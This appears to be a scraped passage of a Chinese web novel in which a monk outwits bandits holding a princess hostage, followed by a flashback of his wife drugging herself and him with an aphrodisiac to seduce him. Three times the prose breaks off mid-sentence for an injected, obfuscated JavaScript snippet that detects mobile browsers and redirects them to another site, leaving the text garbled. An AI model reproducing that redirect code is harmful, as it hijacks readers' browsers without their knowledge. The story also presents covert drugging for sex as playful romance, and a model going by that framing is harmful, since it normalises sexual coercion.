新节度使看来和漠林牙军很不对付,同年边军又反,这次漠林牙军却助纣为虐,沦落为匪,后叛乱平定,郑王奉令剿灭,在漠林一役大胜,自此军功彪炳,肩挑两路节度使…… 漠林牙军在那一战中被打得只剩残军,眼下又为捉拿县主死了十余部众,可郑王几个儿子正值壮年,女儿更是不少,拿了县主,于郑王而言不痛不痒,不知施主如何笃定郑王冒险露面,以命易命?” 头领额角青筋暴跳,他往前走了一步,想说自己先头只说要县主,可没存引郑王现身的意思。 可周遭是对郑王恨之入骨的兄弟们,这话若解释出来,显得他软弱怕事,威信大煞。 他良久不说话,颧骨攒向微眯的三角眼,堂中连呼吸声也没有,只剩二人对视。 嗅到其中的复杂内情,沈幼漓视线在二人之间来回。 “接下来的话,施主还要贫僧说完吗?”妙觉问道。 手下迟疑,但还是大着胆子劝:“老大,杀了他吧。” 头领阴狠神情一扫,笑道:“你们和尚不是度人向善吗,正好我今日有兴趣听你讲经——” 说着挥刀把香炉的插的香斩去一半,“这儿有半炷香的时间,只要能讲得我放下屠刀,我自然离去,要是不行,我就杀光满殿的人,如何?” 此句一出,没人看得明白。 不是要杀人吗,怎么又要讲经? 不过也算看到了一线生机,满屋人质们将期盼的视线投向妙觉,盼他舌生莲花,真能度化恶徒。 殿中安静了许多,护卫死尽,凶徒们将刀拄地,看好戏一样,瞅着这吃素的和尚到底要怎么救县主。 僧人肩上无形被压下重担。 妙觉禅师还没有回应,沈幼漓先来了兴趣。 她也好奇,这佛法究竟能不能将人感化。 妙觉低念一声佛号。 不须费力思索,“善念能破恶业”“悔改不分早晚”“以善止恶,而非以暴制暴”…… 他似心藏三千天地,潺潺而出,凡经书所训,佛偈所言,劝人向善之语无一遗漏。 僧人音色泠泠松籁,枯燥的经文也能吸引人听进去,比圆智住持说得更引人入胜,洗濯杂念。 众香客心想:往日为何不是由妙觉禅师来讲经呢? 唯独沈幼漓不作此想。 别人或许发现不了,她却看到,和尚尾指在无意识捻动佛珠,只是动作细微,难被人发觉。 此人即使口若悬河,心思也已不在此间。 和尚根本未将劝匪首向善之事放在心上,在打什么主意呢? 正猜测着,那原是低垂的眼睛骤然抬起,直直看向这边。 沈幼漓心惊一瞬,忙将不着边际的神思扯回。 正待细看,那双鸦睫似乎又一直低垂着。 好像是她的错觉。 沈幼漓按住心跳,看向别处去。 4. 第 4 章 讲经台上,香将燃尽,僧人还在讲着,可惜的是,那受点拨的杀人魔头哪有半分“悔改”之色,再精深的佛法于此刻都格外苍白无力。 不知是慌张是害怕,僧人讲着讲着就讲串了:“譬如暗中宝,无灯不可见;佛法无人说,虽慧莫能了,生死不过表象,善因能得善果……[1]” 这俨然不是该跟凶徒讲的经,反而像是宽慰自己,又或安慰堂中和他一样待宰的“羊羔”,教他们看淡生死,积德行善之人必不会被上天辜负。 “阿弥陀佛。”圆智住持念了一声佛号,妙觉已经尽力,就算今日身死,也是缘法到了。 众人神情绝望。 "生死涅槃,同于空花。[2]"妙觉还是说着,不紧不慢。 凶徒们大笑声在经堂回响,香客绝望,火星子在香骨上明灭。 “时辰差不多咯。”头领含笑。 县主神情绝望。 僧人不见急色:“贫僧还有最后一讲,若施主依从,必能断绝杀戮心肠。” “你不会想让我自戕吧?” “自然不是。” “那说来听听。” 妙觉自袖中取出一丸丹药,道:“此丹名为‘结善果’,方才所言向善之道不过积累,此丹则为点化之用,施主只要吃下,心中自有佛性,绝不会再执迷屠戮。” 他将丹药递过去。 …… 满室的静默来得突然,而后响起零星的几声笑,显得更为讽刺。 “噗——” 沈幼漓捂住嘴,周氏和洛明香面面相觑。 头领也愣住,随即恼羞成怒,举起大刀:“你敢戏弄老子!” “施主不信?” 头领见他还要忽悠,更加目露凶相,身旁瘦长脸的军师开口:“老大,这药必定有毒!吃了反受他要挟!” “废话!老子自己看不出来?” 妙觉摇头:“此药无毒,不过是寺中无垢泉和几味药草提炼的药引,只要施主吃下,贫僧不止交出县主,还会保你取下郑王的项上人头。” 他还在说杀郑王之事。 此刻的妙觉不像和尚,反像赌场上的赌徒,不断加码,只为逼对手上赌桌。 答他的还是那把贴面的大刀,头领睥睨道:“我听闻出家人不打诳语,这种疯话你也说得出来,当老子三岁小孩?” “并非疯话,若施主吃了这药还想杀人,是贫僧修行不够,若不能为施主办到,自甘下地狱,若施主吃下之后不想杀人了,那就是贫僧经文起效,还请施主速速离去。” 香已燃尽,星火黯淡。 难题被妙觉抛了回去。 可惜,眼前危局不是诡辩就能逃脱,这里谁掌刀,谁话事。 “老子只听你讲经,可没说要吃什么老鼠屎!你既然讲不消老子的杀心,就乖乖受死!” 头领的大刀就此该挥下。 然而纹丝未动。 妙觉扣住刀刃:“贫僧此举是为漠林牙军报仇,施主反急于让漠林分崩瓦解,这是为何?” “你什么意思?” 没人看到头领瞳孔细微的震颤,不是因为僧人的话,他也不愿再给僧人说话的机会,只是自己的刀—— 一时无法从和尚手里提起! 那只挂着佛珠的手像白玉雕就的藤蔓,和刀死死长在了一起,鲜血从掌心滑落下手腕,打湿袖摆。 瑞昭县主偷看到一眼,本就汹涌的泪眼更红。 刀贴着妙觉的脸,不免看到他的眼眸,似化就两眼幽深黑潭,心神不宁之人咋一撞上,坠溺其中,目眩神迷。 妙觉道:“曾经称得上忠贞悍勇的漠林牙军沦落到今日境地,一切祸首不是施主吗?” “你、在、胡、说、什、么!” “施主明知打仗会有死伤,当年却和叛军勾结,拒不受降,让这些雍朝将士和自己人刀剑相向,既不受降,迎战竟也不上心,为何故意引同袍至绝境,一败涂地,输到这个份上,主将本就该负首责。” “少在这里挑拨离间,当日情形你一无所知!我们漠林豪杰都是生死兄弟,同进同退,此仇非报不可!” 头领这些话已经不是对妙觉说的,而是说给身后的弟兄听。 如果可以,他只想削掉妙觉的舌头。 可刀,还是拔不动啊! “那为何你所行之举,恰好一步步将漠林牙军推入绝路,让这些有家有子的好汉家破人亡,妻离子散?” “若真为了报仇,更该找你这个带着他们误入歧途的匪首,一败涂地的败将,如今又拿同袍填命,盲目牺牲的穷徒,从古至今,未有向女眷寻仇的道理。” 掌心的血更汹涌,妙觉字字诛心。 “贫僧想问,施主真想为同袍报仇,还是早就受谁指使,要为西川节度使拔掉这颗钉子,抑或——” “好一张利嘴,你们这些和尚讲经不行,扣帽子倒是一个比一个准。”头领震怒。 可他打断得太晚,其他凶徒听到已是勃然色变。 “你们是疯了!听不出他在挑拨离间!” 他回头吼了一句,才让手下定下神来。 沈幼漓叹了一口气,什么大乘佛法小乘佛法,确实度不了人,挑拨离间才行。 那把大刀终于从妙觉手中拔出,头领毫不留情再次斩下。 与此同时,守在殿门口的凶徒急呼:“有救兵!” 救兵!头领怒喝:“你在拖延时间!” “施主不也一样。” 双方目的皆已达到。 多说无用,救兵出现,情势立刻出现了逆转。 可救兵在大殿之外,大刀在咫尺之间,瑞昭县主还是要死! “全都给我过来,先杀了这两个人!” 就算救兵来了,先变成血肉的也是瑞昭县主和这个和尚! 时机不够,凶徒放弃了堂中百姓,一齐朝讲经台涌去。 “活捉,捉不到再杀了!” 沈幼漓耳聪目明,立刻听到了这句,目光搜索来回,可是经堂一片混乱,不知到底是谁喊的这句话。 “该死,这臭和尚会武功!”头领的声音气急败坏,原来他不止力气大。 沈幼漓猛站起身来,视线顷刻锐利,即使尽力压制,胸口仍见起伏。 洛明香和周氏也有些吃惊,又同时松了口气。 讲经台上,瑞昭郡主惊惶之下不住尖叫,刀劈下时,将将要削掉她半张脸,吓得她瘫软下去,与之相反的是妙觉禅师。 僧人并不还手,只是退让开嗜血大刀,脚下分明闲庭信步一般,不疾不徐,头领的刀却始终砍不到县主和他身上,身法实在诡异。 瑞昭县主吓得站不住,连跟着妙觉踉跄都无法,只能被拉着,身子不由自主地避让,竟也躲开了。 妙觉确实会武。 沈幼漓彻底寒下眼睛,起身拍拍沾灰的裙摆,重新坐在椅子上,漠然注视着这场厮杀,攥紧的拳头久久才松开。 “老大,来不及了!”军师高喊。 救兵已经突破了殿门,黑甲流水一般涌入大殿,将凶徒团团围住。 “走!” 头领一马当先,穿过经幡撞破窗户,将围在窗外的救兵砍翻,翻出墙去,其余人也紧跟其后。 重重黑甲代替了市井装扮的凶徒,长枪如移动的城墙拱卫进来,危机已解,尸首却满地都是。 本是弘扬佛法慈悲的道场,现今满目是累累血迹。 百姓们仍在恍惚之中,不敢站起来。 几步之间有甲胄沉重回响,当头走入殿中的是一个小将军,朝瑞昭县主拱手:“在下是朔东军的副将迟青英,来迟了。” 县主惊魂未定,兀自哭得凄切,说不出话。 沈幼漓仔细打量起那身甲胄,又细细看那副将侧脸,指甲不自觉在木椅上抠出一道划痕。 这怕不是朔东军。 救兵解围,所有人都如释重负,庆幸捡回一条命。 瑞昭郡主已经被侍女扶起来了,泪痕未干,似无力站稳,仍旧紧紧依在妙觉身侧。 住持上来说道:“此处血腥,请县主到偏殿休息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471592|169882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下吧。” 瑞昭县主摆手,仰头看向妙觉:“禅师……多谢禅师舍身相救,瑞昭感激不尽。” 尊贵的县主双目泪光扑闪,目中既有虔诚,又有女儿家的羞涩,痴痴眉眼含情,脉脉递与僧人。 妙觉道:“贫僧本分罢了,施主不必言谢。” 那朔东军迟青英低调规矩,只是在讲经台下等着,任他们说话,不催促,也不急躁。 沈幼漓提起的心缓缓放下,虽不是朔东军,似乎也并无恶意。 还真是有趣,一伙不是真的漠林牙军,一伙也不是真的朔东军,这帮人到底想干什么? 看来郑王出现在瑜南,所图必定不小,皇帝也不管管吗? 不管他是什么事,都和自己无关。 沈幼漓恢复一个看客的悠闲,继续看戏。 可那些香客已经陆陆续续站起来,不断在面前走过的,士卒则收拾殿中的尸体,她淹没在人群之中,要伸长脖子才能看到讲经台,索性不看了。 危机既解,各自收拾着,放松下来的香客们此起彼伏说起话,除了“大难不死必有后福”之类彼此宽慰的话,剩下差不多都与妙觉有关。 “不愧是圣僧,置生死于度外,真正地普度众生。” “我还是第一次见县主,除了打扮好像没什么出奇的,也跟咱自家屋里的小娘子那般……小女儿情态。” “你说,这县主是不是对妙觉禅师有意?” “那是出家人,就算有意又能怎样,莫传这个,损了禅师的修行。” “出家人也是能还俗的嘛,那可是县主,而且我瞧着,妙觉禅师未必是无意……” “唉……玉面菩萨,冲着那张脸,我都想皈依了。” “你就是冲妙觉禅师才来听经的吧,不过啊,说不得县主要将这玉面菩萨拐回红尘里来。” “哼,县主嘛,真是了不起……” 沈幼漓听着闲话,视线在经台上二人之间来回。 高贵的县主,俊美的僧人,又是这么一出“英雄救美”,若真郎有情妾有意,确实当得起一出流芳百世的佳话。 来日请个秀才写成话本子,一定有不少人为今日这出相逢叫好,到时洛阳纸贵,不知得挣多少银子。 只是可惜了…… 正想着,胳膊被撞了一下。 “县主走了,咱们赶紧过去。” 周氏扯着沈幼漓往前走。 — “妙觉,超度之事让你师兄弟们来办,你先去包扎一下伤口吧。”圆智住持道。 “我无碍。” 妙觉站在那里,香客们就排着队往这边来。 沈幼漓跟着周氏缀在队伍末尾,一道穿过混乱的人群,避开士卒搬动的尸体,才得以踏上讲经台。 县主已经不在讲经台上,那朔东军的小将军也不见人,大概是去偏殿保护县主了。 “多谢妙觉禅师拖延了时辰,也多谢县主的援兵及时赶到。” 香客们照着身份座次,到妙觉禅师面前千恩万谢,之后随着人流下山去。 他们实历了一出有惊无险,又得高僧点拨,似是勘破了些苦难,看开了些烦扰,皆是念念有词地下山去了。 洛家身份不高不低,偏偏排到最后去,到她们时已经是最后一批。 堂中尸首堆积在一起,僧人们开始念起往生咒。 沈幼漓又朝妙觉看。 褪去多年情思,不带半分邪念去端详台上僧人,那“玉面菩萨”的称谓恰如其分,她后知后觉,自己从前真是畜生,强睡他那几回,是怎么下得去手的呢? 果然是有钱能使鬼推磨。 等香客都走完,周氏赶紧走上前:“孩子,你的伤有没有事啊?” 周氏所喊的孩子不是别人,正是妙觉禅师,也是沈幼漓七年前所嫁之人,两个孩子的生父。 出家人少究出身,县主大概是不知此事的。 沈幼漓所言的可惜,便可惜在县主和洛明瑢若真有意,自己只怕要成王母娘娘的簪子,阻碍有情人终成眷属了。 5. 第 5 章 当娘的心疼儿子,何况那僧袍上的鲜血实在扎眼,周氏擦着眼泪,不敢去碰那只手,“站这儿这么久,怎么也不去处置一下。” 洛明瑢道:“皮肉伤,没什么事。” “这么多血,怎么会没事,这些人也真是,只知道凑上来说些废话,也没人关心你的伤势。” “走吧。” 洛家的人都移步到了讲经堂后的一座小殿之中。 “妙觉禅师见安。” “沈娘子见安。” 原该是夫妻的二人对答冷淡客气,各自落座。 周氏催促道:“幼漓,赶紧给你夫君包扎一下。” 这种事自然得娘子来。 沈幼漓看向洛明瑢。 他不置一词,目光不避让,显然未将此事放在心上。 她拒道:“大太太,妾身是女流,怕坏了禅师修行,还是寻个小沙弥来吧。” 自完成任务,周氏早习惯了沈幼漓这混不吝的样子,直接打她七寸:“你不擦,之后半年的例银都别领了。” 洛明瑢解围:“大太太,贫僧自己可……” 沈幼漓按住他,咧开嘴:“坐好,妾身给你收拾干净。” 她抽出帕子在铜盆里打湿,慢条斯理地擦起他掌心的血痕。 洛明瑢垂目瞧见沈幼漓发顶,她大概是淋雨来的,头发像雨后羽毛潮湿的幼鸟。 “讲经会前并未下雨。” “釉儿昨日家塾下学,说她写的字受夫子夸赞,我忙着将送裱的字挂在书斋,故而来晚了。” 釉儿是她大女儿洛观棋的小字,正是与眼前这位“圣僧”一起生的。 沈幼璃承认自己有些坏心思,故意在这种场合提起孩子,就想欣赏一下他那张脸上浮现尴尬的样子。 外人道妙觉禅师禅心清净无染,若知道他早破色戒,甚至有两个能满地跑的孩子,又会怎么看他? “是不是要骂他一句脏和尚……” 沈幼漓恶意满满地想。 可惜,洛明瑢闻言只是点了点头。 他修行功夫已经到家,心性如月,空灵无住,轻易搅不起半点波澜。 果真是…… 沈幼漓为他的反应扯唇一笑。 小殿里,周氏坐在上首,左手边洛明瑢和沈幼漓比邻,洛明香则坐他们对面。 “丕儿自小聪慧好学,最是像你,如今,就是釉儿一个小娘子,未免太调皮了些,不学着做个闺秀,以后不知有哪家看得上她。”周氏和洛明瑢絮叨起两个孩子的近况。 自生下丕儿,她已经很久不再上山,是以不知道周氏一来禅月寺就与他说这些,心道怪不得他没反应,原来是早就听腻了。 沈幼漓低头擦拭血迹,不置一词。 可是洛明瑢掌心的血擦了又渗出来,她擦着擦着,有点生起气来。 他自己英雄救美受的伤,凭什么让自己收拾残局,还差点让婆母扣她银子! 沈幼漓故意往伤口按下去,随即偷瞧洛明瑢反应。 他眉梢压低,果然没有出声。 不出声才好!沈幼漓欺负得更狠,下手一点也不客气,等把他掌心擦干净,伤口边缘已被按得发白。 沈幼漓看到又有些后悔,这种恶毒的小把戏只能痛快一时,欺负一面闷鼓有什么意思。 “疼吗?”她假模假式地问。 洛明瑢摇头。 洛明香趁机讽道:“弟弟这伤再疼,也不是为你疼的,那是为了救县主,弟妹心疼什么呢。” “说得也是。” 沈幼漓将帕子拍到水盆里,借机甩掉差事:“谁让你受伤,就让谁来上药好了,妾身就不伺候了。” 周氏不说话,洛明香端起茶杯掩住上翘的嘴唇。 洛明瑢认真道:“让贫僧受伤的人已经翻窗跑了,眼下还未抓到。” …… 沈幼漓抬头看他,圆睁的眼中清清楚楚写着:这人刚刚一定被劈到脑子了吧。 见三人都是一路反应,洛明瑢便知自己这玩笑并不好笑,便抿唇不再言语。 诡异沉默之后,沈幼漓拿起药瓶把玩。 这要是瓶盐就好了。 “呵呵,弟妹你也不须生这气,若真在意明瑢,怎会推说头痛,姗姗来迟呢,”洛明香挑拨完这个挑拨那个,“岂知要是再晚一点,都躲过这一遭了呢。” 还告她状呢。沈幼漓失笑,洛明瑢可不在乎她来不来。 “是啊,早知将你们也拖在家里,大家都不必涉险。” “那你夫君呢?他的死活你就不关心?” “方才咱们也瞧见了,他武功盖世,能有什么事。” 十年了,她竟然不知道这厮会武功,真是好大的惊喜。 沈幼漓心中已不止“窝火”二字。 洛明瑢觉察到她不快,掌心下意识收起,道:“武功一事……” 她打断:“禅师何事非得同妾身说呢。” 洛明香见二人果生嫌隙,继续趁热打铁:“不过弟妹要是没来,哪能看到明瑢为县主舍身的痴情模样,莫说你,就是我们也未曾见过明瑢那样在乎一个人呢,说句诛心的话,二人真是般配——” 她对着沈幼漓讽刺一笑,后话不言自明。 这句说得倒也不错。 说起县主,沈幼漓抬头,也打量起洛明瑢的神情来。 若在从前,为这句“般配”,她定能酸楚失落一番,可经过四年冷对,万事也归淡然。 沈幼漓只是好奇,洛明瑢是当真不钟情于俗世所有女子,还是恰好不钟情于她。 他肯为县主舍身,是一见钟情,还是早有前缘,今日才有县主登禅月寺这一程? 在沈幼漓审视之下,洛明瑢神情似古井无波,一字字说得清楚:“贫僧是出家之人,救人是分内之事,不与身份相干,更不会有儿女私情。” 怎么永远是这句话,沈幼漓兴致缺缺。 那只受伤的手掌又摊开,占了小半个桌案,像损坏的佛手亟待修补。 洛明香还不知足:“看来明瑢真修了个五蕴皆空,不过也好,县主毕竟身份金贵,不比咱们弟妹耗得起——” “好了,”周氏懒得再听,“谁也别吵,明香,咱们去续个长明灯,顺道去去晦气。” 洛明香不情不愿:“是。” 小殿的人很快走空,托盘里的药膏和纱布还未动。 周氏都走了,沈幼漓原形毕露,把瓷瓶子一丢,“下次再让婆母扣我银子,我就把你的木鱼全丢给大黄狗磨牙。” “不可胡言。” 洛明瑢不轻不重斥责了一句,自己给自己上药。 “这阵子过得如何?”他问起。 说是一阵子,其实也有七八个月了。 自丕儿落地,四年里,沈幼漓上禅月寺的次数屈指可数,不是周氏催促必不会来,来了也离去匆匆,半点不见从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471593|169882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前的殷切,倒真应了她坦诚的那些话,做这一切都只是为了洛家许诺的银子。 “不必上山,当然好得很,”沈幼漓抱臂坐在一边,道:“偷我的把戏去糊弄人,洛明瑢,你好厚的脸皮。” 她所说的把戏,正是洛明瑢方才让头领吃丹药的诡计。 不同的是,洛明瑢手中丹药确实无毒,甚至不是一枚丹药,而是一枚木质佛珠,他是料定了那头领根本不会考虑吃下这件事,才敢明目张胆地忽悠。 当初沈幼漓拿的却是一枚实在春药。 这是沈幼漓众多把戏中最微不足道的一件。 虽然第一次失败了,她却没放弃这招,只寻了典籍又加大药量,打算再试一次,毕竟这法子最是省事。 不过第一次骗过之后,洛明瑢防她跟防贼一样,轻易得不了手。 后来她再去禅月寺,洛明瑢甚至避着不肯见她。 沈幼漓哪会让他如愿,她把别院的婆子赶走,咬牙砸伤自己的腿去禅月寺求助,寺中无人方便照顾她,只能丢给洛明瑢。 当夜她如愿睡在洛明瑢的禅房里,夜半还“摔”下了床,抱着他的腰哭了半晌,直喊腿疼。 沈幼漓挽高裤脚,细白的小腿强行搁他手上,要他按一按。 事情并不如沈幼漓想得美妙,洛明瑢收拢手时,佛珠硌着腿肚子,她下意识地抽走。 她从来不知道自己的腿不能让人碰。 洛明瑢按一下,她往回抽一下。 一切都是不由自主的。 为了不露怯,沈幼漓把脸埋住,强忍着继续不出声。 不过洛明瑢也真是神人,被她这么“折腾”了一夜,第二日早课不见一个哈欠,一天一夜没睡,依旧灵台清明。 沈幼漓的努力也不止砸腿这一桩,她甚至跟花娘请教过如何勾引男人,让他们沉迷此道…… 凡此种种,不计其数。 沈幼漓都忘了自己对洛明瑢有过多少诱哄,多少求欢的甜言蜜语,从假意到真心,那份情愫何时起的,她自己也说不清楚。 那些话,如今要沈幼漓再说一遍,不如自杀。 结果本是寻常一句调侃,洛明瑢却问:“什么把戏?” 沈幼漓怔住。 原来他不记得了。 也对,那是七年前的事了,不记得也在情理之中。 沈幼漓故作轻松的调侃换来这句,如同被打了一巴掌。 她转动僵硬的脖子,从房梁看到了窗格,发顶呼呼冒着热气。 “哈!”她突然笑了一声。 沈幼漓笑自己可笑。 她曾经以为自己此生不会钟情任何人,岂止心不由己。 幸而这份情不会有结果,无声处,自己也悄悄释怀了。 当初自己坦言为利而来,强求一个出家人为她破戒,若还奢求一份感情,那就太过分了。 所以沈幼漓恨不着洛明瑢,她心中有些傲气,生下丕儿后便不再上山,逼自己放下。 若是见了面,那股不甘总出来作祟,让沈幼漓忍不住与他针锋相对,她不喜欢拿不起放不下的样子,更决意少见他。 如今见着那县主如见当初的自己,更觉得没意思。 这是最后一次了。 沈幼漓对自己说,以后她绝不会再上山。 洛明瑢瞧不见她扭开的脸,听她笑了,松了一口气,他以为自己这个玩笑开得并不好,看来其实不错。 6. 第 6 章 七年前。 沈幼漓刚嫁作洛家妇时,洛明瑢尚是琉璃心肠,在彼此不知秉性时,他也曾把沈幼漓当成怯懦矜持的寻常娘子。 彼时周氏时常以各种借口寻洛明瑢归家,成亲不过三月,周氏又以病重借口催促洛明瑢归家,这回演得更像,着人送了带血的帕子。 晚间,周氏派人将佛堂的钥匙交给沈幼漓,其意不言自明。 沈幼漓向来行动果决,端着一碗汤羹就往佛堂去了。 二人在禅月寺算打过照面,皆知彼此身份。 也只是一眼,未有太多牵扯。 在洛明瑢归家之前,沈幼漓就从各处打听此人。 与后来“玉面菩萨”的名讳不同,七年前,他还是一处感云寺里名不见经传的僧人。 其时朝廷为镇压叛军筹集军资,给商户开了“纳粟举试”的方便之门,洛明瑢得入科举。 他自小就是神童,三岁开蒙,幼年通经史,能诗赋,才十四岁便以亚元过了会试,离入仕只一步之遥,所有人都将重振洛家二房的希望放在他身上,可不知为何殿试之前大彻大悟,抛下四书经义,仕途文章,跑到山中去做了一名和尚,谁劝也不听。 如若不然,他该是雍朝最年轻的官员,加上这样的样貌气度,必引无数人趋之若鹜。 本是昭昭明月,为何藏于山中? 沈幼漓推开门,檀香袭面而来,恍然似步入那座深山古刹。 洛明瑢背对她,木鱼声一下一下,乌木佛珠拨动时有玉石一样的声音。 又被周氏骗回来,他心情应当不好。 “官人,念这许久该口渴了,妾身做了蜜子桃浆。” 无人应答,她将托盘放在桌案上。 “官人?” 这句如烟似雾,是伏在他耳畔说的。 木鱼声停住,洛明瑢不见惊乱,将她的手从自己手背上摘下。 “贫僧已是方外之人,还请女施主自重。” 沈幼漓从善如流:“是,禅师。” 才说完就踩了自己的裙裾,顺势摔在洛明瑢怀里。 两人袖子都未沾到,沈幼漓就被端起腾空,不待反应,已经被放在一边了。 她卧在蒲团三尺之外,没回过神来。 这人力气好大,端她跟端菜一样。 洛明瑢重新闭目,似什么也没发生。 强逼不成,她只能来软的。 “今夜妾身能在这儿陪你吗?” “莫近三尺之内。” 她眸光如月下海水,忽明忽暗,幽怨问道:“佛门以普度众生、脱离苦海为己任,禅师为何偏要逼死妾身?” “女施主慎言。”他冷下玉面,不近人情的样子也清艳得很。 “难道不是?妾身故土无人,逃难流落异乡,本就无依无靠,难说不会为了几口饭不会被卖掉,所幸大太太见怜,给了衣食,她只想要个孙儿,我也愿意答应,不求富贵,唯愿平平淡淡过完一生便好,禅师,我所求过分吗?” “太太与我有恩,便是天残地缺我都愿意,可为什么……偏偏嫁的是你?” “我也是良家女子,走到今日这步,若再被拒之门外,怕是外头水井便是我的归宿了。” 洛明瑢无法反驳。 眼前的女子嫁给俗世中任何一个人,都能得偿所愿,可偏偏是他。 说到底,是他没让周氏彻底歇了心思,才祸害了一个本就可怜的女子。 “我会与大太太言明,让你在洛家衣食无忧,旁的事你不必过问。” 衣食无忧? 她可不是为衣食无忧来的。 沈幼漓泣声更重,对着自己的一万两,不、官人哭诉道:“禅师是为妾身好还是逼妾身死?今夜同你哭诉,明早你去和大太太一说,自己一走了之,什么也不必管,大太太只当我花言巧语蛊惑于你,又恨养我三月,临门了我倒戈推脱,往后安能给我好日子过?” “凭你三两句话就有用,洛家后院该养着一百个白吃白喝的人了。” 在洛明瑢沉吟之际,两人重又挨近。 她仰起泪眼蒙眬的面庞,泪痕像镜子上裂缝,“我家乡洪水决堤,被冲进河里时,都以为自己活不了了,说来我该谢谢你和大太太,要是真能做她儿媳,能一辈子孝顺她就好了,可是……” “妾身无用……” 泪珠一颗颗跌下,她努力把话说顺畅,“为什么,为什么想过好日子……就这么难呢……” 哭成这样,任再铁石心肠的人也心酸。 她哭到不能自已,枕在了洛明瑢膝上,在一声声啜泣之中,哭诉起自己悲苦的身世、自己的走投无路,说到后来,抽噎声代替了啜泣,孤孤响在佛堂。 洛明瑢垂目看去,她单薄的肩头不住搐动,泪水沁进僧衣,先是滚烫,又慢慢变凉。 握着佛珠的手抬起又放下,到底不能像方才那样将人丢开。 她哭一阵就该自己起来了吧。 “禅师……”沈幼漓揪起他的衣角,“你也渡一渡我,助我解脱苦海吧。” “贫僧要如何帮你?” “我只是想要一个孩子,有孩子我就有依靠了,求您成全。”她说起这话来脸不红心不跳。 “女施主,贫僧送你归乡可好?” “啊?” 洛明瑢自认找到了一个好法子,“贫僧会予你安置好,往后,你想嫁谁都可以,有人相依相伴,安稳一生。” 他能给她一万了白银吗?沈幼漓腹诽。 她自他膝上坐起,擦掉眼泪,自嘲地笑了笑,伸手捧起汤碗:“罢了,禅师,尝尝妾身的心意吧,你若不喜欢,妾身还可以做别的?” 汤碗举到洛明瑢唇边,他岿然不动,道:“若女施主愿意,明日就可出发归乡。” “不愿。” 那就没什么好说了。 “不如贫僧给施主讲经吧,《坛经》有云——” 他还没开始,就被捂住了嘴。 开玩笑!俗话说知己知彼百战不殆,沈幼漓早调查过前边那些人是怎么输的,听说这和尚对留在身边的女子讲经文,能讲一天一夜,硬是逼走了两拨人。 沈幼漓可不中计。 “禅师说多了口渴,喝汤吧。” “不必。” 沈幼漓仰头将桃浆一饮而尽。 一线甜浆滑落脖颈,恰如打湿一截白练。 “你方才不喝,是怕这汤里下了药?”沈幼漓认真抠着碗边。 他没这么想,不过是素不喝甜饮,也不愿让人伺候。 “妾身确实下了药。” “……” “妾身也是第一次喝,”她扯了扯衣领,脸熏染上明霞,“若待会儿有失礼之处,万望禅师不要怪罪。” 洛明瑢视线落在垂帘上,起身举步走去。 在沈幼漓以为他要跑时,“嘶——”帘子被他扯了下来。 见洛明瑢朝自己一步步走近,她往后退:“禅师实在不必如此,尽可把妾身丢出去。” 倒是个主意。洛明瑢止步。 她又继续说:“反正这是外院,遇上哪个小厮杂役,失了清白,也是妾身自作自受。” …… 沈幼漓被提了起来,跟柱子捆到了一起。 权做绳子的布帘缠到肩头,沈幼漓贴着他轻声说:“这药发作时极为痛苦,说不得我要咬舌自尽的。” 洛明瑢的一点反应也没有。 “我这还有一枚,你吃下去就知道我有没有撒谎,知道把我捆这儿是什么下场。” “不过这都是我自作自受,不与禅师相干。” 她呼吸逐渐急如朔风,咬得下唇泛白。 “你既知道厉害,更不该如此!”洛明瑢低眉,语气多了一份严厉,“菩萨慈悲,可若见众生无缘得度,亦应舍离。” “禅师不肯进一步,妾身也无路可退,不如我们赌这一局,可好?” 洛明瑢不肯再应她,埋首将人绑了个结实。 “嗯——” 沈幼漓仰颈出气,屈起被缠紧的腿又伸展开,挣扎让她和柱子绑在一起的布料绷得死紧。 发觉是药在生效,洛明瑢犹豫一下,还是伸手掐开她的下颌。 掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471594|169882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下掐住的脸太小,柔腻似缎,让人拿捏不准力道。 思绪正游移,沈幼漓突然伸出舌头,舔了他的掌心一下。 洛明瑢闪电般收回手,盈红舌尖又立刻藏起。 “顽劣不堪!” 沈幼漓眸中锐利一晃而过,“这就生气了,你果然修行不到家。” 而后又马上软下嗓音:“禅师何不考虑一下,若败在区区一丸丹药之下,证明你的修行都是虚妄,不如早日抛却,全你的俗世孝心, 若果真灵台清明,禅心完满,便什么事也不会发生,妾身只当您是要修大道之人,自当死心,请婆母允准和离。” 彼时洛明瑢确实年轻。 “若贫僧吃了,女施主便不再纠缠?” 沈幼漓点头:“是。” 洛明瑢放开了她,沈幼漓从荷包里取出一枚丹药。 他只是思索片刻,便放口中。 